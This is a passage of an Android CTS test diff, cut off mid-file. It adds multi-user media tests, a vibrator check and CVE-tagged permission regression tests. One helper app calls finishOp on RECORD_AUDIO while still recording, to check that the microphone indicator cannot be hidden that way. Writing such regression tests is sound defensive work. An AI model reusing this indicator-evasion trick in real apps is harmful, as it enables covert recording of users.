diff --git a/tests/tests/media/misc/Android.bp b/tests/tests/media/misc/Android.bp
index feaabe4..87208db 100644
--- a/tests/tests/media/misc/Android.bp
+++ b/tests/tests/media/misc/Android.bp
@@ -66,6 +66,7 @@
         "junit-params",
         "testng",
         "truth-prebuilt",
+        "Harrier",
         "mockito-target-minus-junit4",
         "androidx.heifwriter_heifwriter",
         "CtsCameraUtils",
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
index 4a2ffaf..4ecf8fd 100644
--- a/tests/tests/media/misc/AndroidTest.xml
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="multiuser" />
     <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
         <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
         <option name="set-test-harness" value="false" />
@@ -57,5 +58,6 @@
         <option name="hidden-api-checks" value="false" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
     </test>
 </configuration>
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2Test.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2Test.java
index 89d336c..aae07c7 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2Test.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2Test.java
@@ -56,12 +56,17 @@
 import android.text.TextUtils;
 
 import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.UserType;
+import com.android.bedstead.harrier.annotations.UserTest;
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -75,12 +80,16 @@
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
 
-@RunWith(AndroidJUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 @AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
 @LargeTest
 @NonMediaMainlineTest
 public class MediaRouter2Test {
     private static final String TAG = "MR2Test";
+
+    // Required by Bedstead.
+    @ClassRule @Rule public static final DeviceState sDeviceState = new DeviceState();
+
     Context mContext;
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
@@ -158,8 +167,11 @@
     }
 
     /**
-     * Tests if we get proper routes for application that has special route type.
+     * Tests if we get proper routes for an application that requests a special route type.
+     *
+     * <p>Runs on both the primary user and a work profile, as per {@link UserTest}.
      */
+    @UserTest({UserType.PRIMARY_USER, UserType.WORK_PROFILE})
     @Test
     public void testGetRoutes() throws Exception {
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURES_SPECIAL);
diff --git a/tests/tests/os/src/android/os/cts/VibratorTest.java b/tests/tests/os/src/android/os/cts/VibratorTest.java
index c026296..3031c66 100644
--- a/tests/tests/os/src/android/os/cts/VibratorTest.java
+++ b/tests/tests/os/src/android/os/cts/VibratorTest.java
@@ -399,6 +399,7 @@
     @Test
     public void testVibrateComposed() {
         boolean[] supported = mVibrator.arePrimitivesSupported(PRIMITIVE_EFFECTS);
+        int[] durations = mVibrator.getPrimitiveDurations(PRIMITIVE_EFFECTS);
         for (int i = 0; i < PRIMITIVE_EFFECTS.length; i++) {
             mVibrator.vibrate(VibrationEffect.startComposition()
                     .addPrimitive(PRIMITIVE_EFFECTS[i])
@@ -406,7 +407,7 @@
                     .addPrimitive(PRIMITIVE_EFFECTS[i], 0.8f, 10)
                     .compose());
             if (supported[i]) {
-                assertStartsVibrating();
+                assertStartsThenStopsVibrating(durations[i] * 3 + 10);
             }
         }
     }
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index eae7276..f90f789 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -47,6 +47,7 @@
         // which provides assertThrows
         "testng",
         "bluetooth-test-util-lib",
+        "sts-device-util",
     ],
     jni_libs: [
         "libctspermission_jni",
@@ -111,6 +112,8 @@
         ":CtsStorageEscalationApp29Full",
         ":CtsStorageEscalationApp29Scoped",
         ":CtsVictimPermissionDefinerApp",
+        ":CtsAppThatRequestsSystemAlertWindow22",
+        ":CtsAppThatRequestsSystemAlertWindow23",
     ],
     per_testcase_directory: true,
 }
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index 58ee52f..24614d7 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -91,6 +91,8 @@
         <option name="push" value="CtsStorageEscalationApp28.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp28.apk" />
         <option name="push" value="CtsStorageEscalationApp29Full.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Full.apk" />
         <option name="push" value="CtsStorageEscalationApp29Scoped.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Scoped.apk" />
+        <option name="push" value="CtsAppThatRequestsSystemAlertWindow22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow22.apk" />
+        <option name="push" value="CtsAppThatRequestsSystemAlertWindow23.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow23.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
new file mode 100644
index 0000000..43cc9de
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsSystemAlertWindow22",
+    target_sdk_version: "22",
+    certificate: ":cts-testkey2",
+    min_sdk_version: "22",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-permission",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usesystemalertwindowpermission">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
new file mode 100644
index 0000000..403257d
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsSystemAlertWindow23",
+    target_sdk_version: "23",
+    certificate: ":cts-testkey2",
+    min_sdk_version: "23",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-permission",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usesystemalertwindowpermission">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index c24d244..6c6f3cb 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -53,13 +53,19 @@
 
 public class OneTimePermissionTest {
     private static final String APP_PKG_NAME = "android.permission.cts.appthatrequestpermission";
+    private static final String CUSTOM_CAMERA_PERM_APP_PKG_NAME =
+            "android.permission.cts.appthatrequestcustomcamerapermission";
     private static final String APK =
             "/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk";
+    private static final String CUSTOM_CAMERA_PERM_APK =
+            "/data/local/tmp/cts/permissions/CtsAppThatRequestCustomCameraPermission.apk";
     private static final String EXTRA_FOREGROUND_SERVICE_LIFESPAN =
             "android.permission.cts.OneTimePermissionTest.EXTRA_FOREGROUND_SERVICE_LIFESPAN";
     private static final String EXTRA_FOREGROUND_SERVICE_STICKY =
             "android.permission.cts.OneTimePermissionTest.EXTRA_FOREGROUND_SERVICE_STICKY";
 
+    public static final String CUSTOM_PERMISSION = "appthatrequestcustomcamerapermission.CUSTOM";
+
     private static final long ONE_TIME_TIMEOUT_MILLIS = 5000;
     private static final long ONE_TIME_KILLED_DELAY_MILLIS = 5000;
     private static final long ONE_TIME_TIMER_LOWER_GRACE_PERIOD = 1000;
@@ -67,6 +73,7 @@
 
     private final Context mContext =
             InstrumentationRegistry.getInstrumentation().getTargetContext();
+    private final PackageManager mPackageManager = mContext.getPackageManager();
     private final UiDevice mUiDevice =
             UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
     private final ActivityManager mActivityManager =
@@ -217,7 +224,7 @@
 
     private void assertGrantedState(String s, int permissionGranted, long timeoutMillis) {
         eventually(() -> Assert.assertEquals(s,
-                permissionGranted, mContext.getPackageManager()
+                permissionGranted, mPackageManager
                         .checkPermission(ACCESS_FINE_LOCATION, APP_PKG_NAME)), timeoutMillis);
     }
 
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 3dc5f03..75da42f 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -39,8 +39,10 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 @AppModeFull(reason = "Instant apps cannot read state of other packages.")
-public class RemovePermissionTest {
+public class RemovePermissionTest extends StsExtraBusinessLogicTestCase {
     private static final String APP_PKG_NAME_BASE =
             "android.permission.cts.revokepermissionwhenremoved";
     private static final String ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME =
diff --git a/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
new file mode 100644
index 0000000..f3f06de
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.content.pm.PackageManager
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert
+import org.junit.Test
+
+private val APP_PKG_NAME = "android.permission3.cts.usesystemalertwindowpermission"
+private val APK_22 = "/data/local/tmp/cts/permissions/" +
+        "CtsAppThatRequestsSystemAlertWindow22.apk"
+private val APK_23 = "/data/local/tmp/cts/permissions/" +
+        "CtsAppThatRequestsSystemAlertWindow23.apk"
+
+class RevokeSawPermissionTest {
+
+    fun installApp(apk: String) {
+        SystemUtil.runShellCommand("pm install -r $apk")
+    }
+
+    @After
+    fun uninstallApp() {
+        SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
+    }
+
+    @AsbSecurityTest(cveBugId = [221040577L])
+    @Test
+    fun testPre23AppsWithSystemAlertWindowGetDeniedOnUpgrade() {
+        installApp(APK_22)
+        assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, true)
+        installApp(APK_23)
+        assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, false)
+    }
+
+    private fun assertAppHasPermission(permissionName: String, expectPermission: Boolean) {
+        Assert.assertEquals(
+            if (expectPermission) {
+                PackageManager.PERMISSION_GRANTED
+            } else {
+                PackageManager.PERMISSION_DENIED
+            },
+            InstrumentationRegistry.getInstrumentation().getTargetContext().packageManager
+                .checkPermission(permissionName, APP_PKG_NAME)
+        )
+    }
+}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 1c9dc63..271a4d0 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6038,7 +6038,7 @@
     <!-- @SystemApi Allows to access all app shortcuts.
          @hide -->
     <permission android:name="android.permission.ACCESS_SHORTCUTS"
-        android:protectionLevel="signature|role" />
+        android:protectionLevel="signature|role|recents" />
 
     <!-- @SystemApi Allows unlimited calls to shortcut mutation APIs.
          @hide -->
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index d723e05..d369a3d 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -482,4 +482,8 @@
         android:protectionLevel="signature|privileged"
         android:label="@string/car_permission_label_thread_priority"
         android:description="@string/car_permission_desc_thread_priority"/>
+    <permission android:name="android.car.permission.BIND_OEM_CAR_SERVICE"
+        android:protectionLevel="signature|privileged"
+        android:label="@string/car_permission_label_bind_oem_car_service"
+        android:description="@string/car_permission_desc_bind_oem_car_service"/>
 </manifest>
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 266b486..40feeb4 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -202,5 +202,7 @@
     protected fun startActivityForFuture(
         intent: Intent
     ): CompletableFuture<Instrumentation.ActivityResult> =
-        activityRule.launchActivity(null).startActivityForFuture(intent)
+        CompletableFuture<Instrumentation.ActivityResult>().also {
+            activityRule.launchActivity(null).startActivityForFuture(intent, it)
+        }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt b/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt
index 19cf115..1774030 100644
--- a/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt
@@ -22,17 +22,22 @@
 import java.util.concurrent.CompletableFuture
 
 class StartForFutureActivity : Activity() {
-    private val future = CompletableFuture<Instrumentation.ActivityResult>()
-
-    fun startActivityForFuture(intent: Intent): CompletableFuture<Instrumentation.ActivityResult> {
+    fun startActivityForFuture(
+        intent: Intent,
+        future: CompletableFuture<Instrumentation.ActivityResult>
+    ) {
         startActivityForResult(intent, 1)
-        return future
+        StartForFutureActivity.future = future
     }
 
     override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
         super.onActivityResult(requestCode, resultCode, data)
-
-        future.complete(Instrumentation.ActivityResult(resultCode, data))
+        future!!.complete(Instrumentation.ActivityResult(resultCode, data))
+        future = null
         finish()
     }
+
+    companion object {
+        private var future: CompletableFuture<Instrumentation.ActivityResult>? = null
+    }
 }
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index 2ff3bee..72908e2 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -34,6 +34,7 @@
     ],
     test_suites: [
         "cts",
+        "sts",
         "vts10",
         "general-tests",
         "mts-permission",
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
index a7e0ab6..9dc1b45 100644
--- a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -25,6 +25,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "sts",
         "vts10",
         "general-tests",
     ],
@@ -36,6 +37,6 @@
     ],
 
     srcs: [
-        "src/**/*.kt"
+        "src/**/*.kt",
     ],
 }
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
index 659f228..f7a5c31 100644
--- a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
@@ -42,6 +42,7 @@
 private const val USE_CAMERA = "use_camera"
 private const val USE_MICROPHONE = "use_microphone"
 private const val USE_HOTWORD = "use_hotword"
+private const val FINISH_EARLY = "finish_early"
 private const val USE_DURATION_MS = 10000L
 private const val SAMPLE_RATE_HZ = 44100
 
@@ -62,12 +63,14 @@
     private var runMic = false
     private var hotwordFinished = false
     private var runHotword = false
+    private var finishEarly = false
 
     override fun onStart() {
         super.onStart()
         runCamera = intent.getBooleanExtra(USE_CAMERA, false)
         runMic = intent.getBooleanExtra(USE_MICROPHONE, false)
         runHotword = intent.getBooleanExtra(USE_HOTWORD, false)
+        finishEarly = intent.getBooleanExtra(FINISH_EARLY, false)
 
         if (runMic) {
             useMic()
@@ -193,6 +196,11 @@
             AudioRecord.getMinBufferSize(SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT)
         recorder = AudioRecord(MIC, SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, minSize)
         recorder?.startRecording()
+        if (finishEarly) {
+            appOpsManager = getSystemService(AppOpsManager::class.java)
+            appOpsManager?.finishOp(AppOpsManager.OPSTR_RECORD_AUDIO, Process.myUid(), packageName)
+            return
+        }
         GlobalScope.launch {
             delay(USE_DURATION_MS)
             micFinished = true
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index fe9037a..655b672 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -27,6 +27,7 @@
 import android.os.Build
 import android.os.Process
 import android.permission.PermissionManager
+import android.platform.test.annotations.AsbSecurityTest
 import android.provider.DeviceConfig
 import android.provider.Settings
 import android.server.wm.WindowManagerStateHelper
@@ -60,6 +61,7 @@
 private const val USE_CAMERA = "use_camera"
 private const val USE_MICROPHONE = "use_microphone"
 private const val USE_HOTWORD = "use_hotword"
+private const val FINISH_EARLY = "finish_early"
 private const val INTENT_ACTION = "test.action.USE_CAMERA_OR_MIC"
 private const val PRIVACY_CHIP_ID = "com.android.systemui:id/privacy_chip"
 private const val CAR_MIC_PRIVACY_CHIP_ID = "com.android.systemui:id/mic_privacy_chip"
@@ -167,11 +169,17 @@
         Thread.sleep(DELAY_MILLIS)
     }
 
-    private fun openApp(useMic: Boolean, useCamera: Boolean, useHotword: Boolean) {
+    private fun openApp(
+        useMic: Boolean,
+        useCamera: Boolean,
+        useHotword: Boolean,
+        finishEarly: Boolean = false
+    ) {
         context.startActivity(Intent(INTENT_ACTION).apply {
             putExtra(USE_CAMERA, useCamera)
             putExtra(USE_MICROPHONE, useMic)
             putExtra(USE_HOTWORD, useHotword)
+            putExtra(FINISH_EARLY, finishEarly)
             addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
         })
     }
@@ -191,6 +199,13 @@
     }
 
     @Test
+    @AsbSecurityTest(cveBugId = [242537498])
+    fun testMicIndicatorWithManualFinishOpStillShows() {
+        changeSafetyCenterFlag(false.toString())
+        testCameraAndMicIndicator(useMic = true, useCamera = false, finishEarly = true)
+    }
+
+    @Test
     fun testHotwordIndicatorBehavior() {
         changeSafetyCenterFlag(false.toString())
         testCameraAndMicIndicator(useMic = false, useCamera = false, useHotword = true)
@@ -268,10 +283,11 @@
         useCamera: Boolean,
         useHotword: Boolean = false,
         chainUsage: Boolean = false,
-        safetyCenterEnabled: Boolean = false
+        safetyCenterEnabled: Boolean = false,
+        finishEarly: Boolean = false
     ) {
         var chainAttribution: AttributionSource? = null
-        openApp(useMic, useCamera, useHotword)
+        openApp(useMic, useCamera, useHotword, finishEarly)
         try {
             eventually {
                 val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
@@ -286,20 +302,23 @@
                 }
             }
 
-            if (isTv) {
-                assertTvIndicatorsShown(useMic, useCamera, useHotword)
-            } else if (isCar) {
-                assertCarIndicatorsShown(useMic, useCamera, useHotword, chainUsage)
-            } else {
-                // Hotword gets remapped to RECORD_AUDIO on handheld, so handheld should show a mic
-                // indicator
+            if (!isTv && !isCar) {
                 uiDevice.openQuickSettings()
-                assertPrivacyChipAndIndicatorsPresent(
-                    useMic,
-                    useCamera,
-                    chainUsage,
-                    safetyCenterEnabled
-                )
+            }
+            assertIndicatorsShown(useMic, useCamera, useHotword, chainUsage,
+                safetyCenterEnabled)
+
+            if (finishEarly) {
+                // Assert that the indicator doesn't go away
+                val indicatorGoneException: Exception? = try {
+                    eventually {
+                        assertIndicatorsShown(false, false, false)
+                    }
+                    null
+                } catch (e: Exception) {
+                    e
+                }
+                assertNotNull("Expected the indicator to be present", indicatorGoneException)
             }
         } finally {
             if (chainAttribution != null) {
@@ -309,8 +328,25 @@
         }
     }
 
+    private fun assertIndicatorsShown(
+        useMic: Boolean,
+        useCamera: Boolean,
+        useHotword: Boolean = false,
+        chainUsage: Boolean = false,
+        safetyCenterEnabled: Boolean = false,
+        ) {
+        if (isTv) {
+            assertTvIndicatorsShown(useMic, useCamera, useHotword)
+        } else if (isCar) {
+            assertCarIndicatorsShown(useMic, useCamera, useHotword, chainUsage)
+        } else {
+            assertPrivacyChipAndIndicatorsPresent(useMic, useCamera, chainUsage,
+                safetyCenterEnabled)
+        }
+    }
+
     private fun assertTvIndicatorsShown(useMic: Boolean, useCamera: Boolean, useHotword: Boolean) {
-        if (useMic || useHotword) {
+        if (useMic || useHotword || (!useMic && !useCamera && !useHotword)) {
             val found = WindowManagerStateHelper()
                 .waitFor("Waiting for the mic indicator window to come up") {
                     it.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE) &&
@@ -345,7 +381,7 @@
                 assertNotNull("Did not find camera chip", cameraPrivacyChip)
                 // Click to chip to show the panel.
                 cameraPrivacyChip.click()
-            } else if (useHotword) {
+            } else {
                 assertNull("Found mic chip, but did not expect to", micPrivacyChip)
                 assertNull("Found camera chip, but did not expect to", cameraPrivacyChip)
             }
@@ -357,18 +393,7 @@
                 assertChainMicAndOtherCameraUsed(false)
                 return@eventually
             }
-            if (useHotword) {
-                // There should be no privacy panel when using hot word
-                val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
-                assertFalse("View with text $micLabel found, but did not expect to",
-                    micLabelView.exists())
-                val cameraLabelView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
-                assertFalse("View with text $cameraLabel found, but did not expect to",
-                    cameraLabelView.exists())
-                val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
-                assertFalse("View with text $APP_LABEL found, but did not expect to",
-                    appView.exists())
-            } else if (useMic) {
+            if (useMic) {
                 // There should be a mic privacy panel after mic privacy chip is clicked
                 val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
                 assertTrue("View with text $micLabel not found", micLabelView.exists())
@@ -380,6 +405,17 @@
                 assertTrue("View with text $cameraLabel not found", cameraLabelView.exists())
                 val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
                 assertTrue("View with text $APP_LABEL not found", appView.exists())
+            } else {
+                // There should be no privacy panel when using hot word
+                val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
+                assertFalse("View with text $micLabel found, but did not expect to",
+                    micLabelView.exists())
+                val cameraLabelView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
+                assertFalse("View with text $cameraLabel found, but did not expect to",
+                    cameraLabelView.exists())
+                val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+                assertFalse("View with text $APP_LABEL found, but did not expect to",
+                    appView.exists())
             }
         }
     }
@@ -391,7 +427,7 @@
         safetyCenterEnabled: Boolean = false
     ) {
         // Ensure the privacy chip is present (or not)
-        val chipFound = isChipPresent()
+        val chipFound = isChipPresent(useMic || useCamera)
         if (useMic || useCamera) {
             assertTrue("Did not find chip", chipFound)
         } else { // hotword
@@ -419,6 +455,7 @@
                     uiDevice.findObjects(By.res(SAFETY_CENTER_ITEM_ID)).size > 0)
             }
         }
+        uiDevice.pressBack()
     }
 
     private fun createChainAttribution(): AttributionSource? {
@@ -457,13 +494,15 @@
         assertEquals("Expected only one shell view", 1, shellView.size)
     }
 
-    private fun isChipPresent(): Boolean {
+    private fun isChipPresent(clickChip: Boolean): Boolean {
         var chipFound = false
         try {
             eventually {
                 val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
                 assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
-                privacyChip.click()
+                if (clickChip) {
+                    privacyChip.click()
+                }
                 chipFound = true
             }
         } catch (e: Exception) {
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index b88fcf5..7abf096 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -32,6 +32,7 @@
         "mockito-target-minus-junit4",
         // TODO: remove testng once Android migrates to JUnit 4.12, which provides assertThrows
         "testng",
+        "sts-device-util",
     ],
 
     jni_libs: [
diff --git a/tests/tests/provider/src/android/provider/cts/MultiAuthorityTest.java b/tests/tests/provider/src/android/provider/cts/MultiAuthorityTest.java
index be6ff87..ce31901 100644
--- a/tests/tests/provider/src/android/provider/cts/MultiAuthorityTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MultiAuthorityTest.java
@@ -16,25 +16,22 @@
 
 package android.provider.cts;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import android.app.ActivityManager;
-import android.app.Instrumentation;
 import android.content.ContentProviderClient;
